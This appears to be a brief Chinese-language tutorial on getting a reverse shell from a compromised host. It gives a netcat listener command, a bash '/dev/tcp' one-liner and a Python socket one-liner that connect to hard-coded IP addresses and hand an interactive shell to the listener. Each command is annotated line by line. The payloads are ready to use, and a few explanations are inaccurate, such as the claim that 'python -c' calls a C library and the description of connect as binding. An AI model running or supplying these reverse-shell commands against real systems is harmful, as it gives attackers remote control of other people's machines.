第一种情况:用 bash -i
客户机:netcat -l -p 7777
服务器(被黑主机):bash -i >& /dev/tcp/192.168.227.1/7777 0>&1
>& 后面跟上/dev/tcp/ip/port
这个文件代表将bash -i 的标准输出和标准错误输出 重定向到 这个文件(描述符)。(其实有点像个通道)
0>&1
表示,bash -i 的标准输入重定向到这个文件(描述符)的输出上
第二种情况: 用一句话 pathon 程序
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.37.131",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
其中 python -c 调用C库并执行。
'import socket,subprocess,os; socke相关,子进程相关,操作系统相关
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); 创建套接字socket s
s.connect(("192.168.37.131",1234)); 套接字绑定IP及端口
os.dup2(s.fileno(),0); 标准输入重定向到套接字的文件描述符
os.dup2(s.fileno(),1); 标准输出重定向到套接字的文件描述符
os.dup2(s.fileno(),2); 标准错误重定向到套接字的文件描述符
p=subprocess.call(["/bin/sh","-i"]);'
产生子进程实现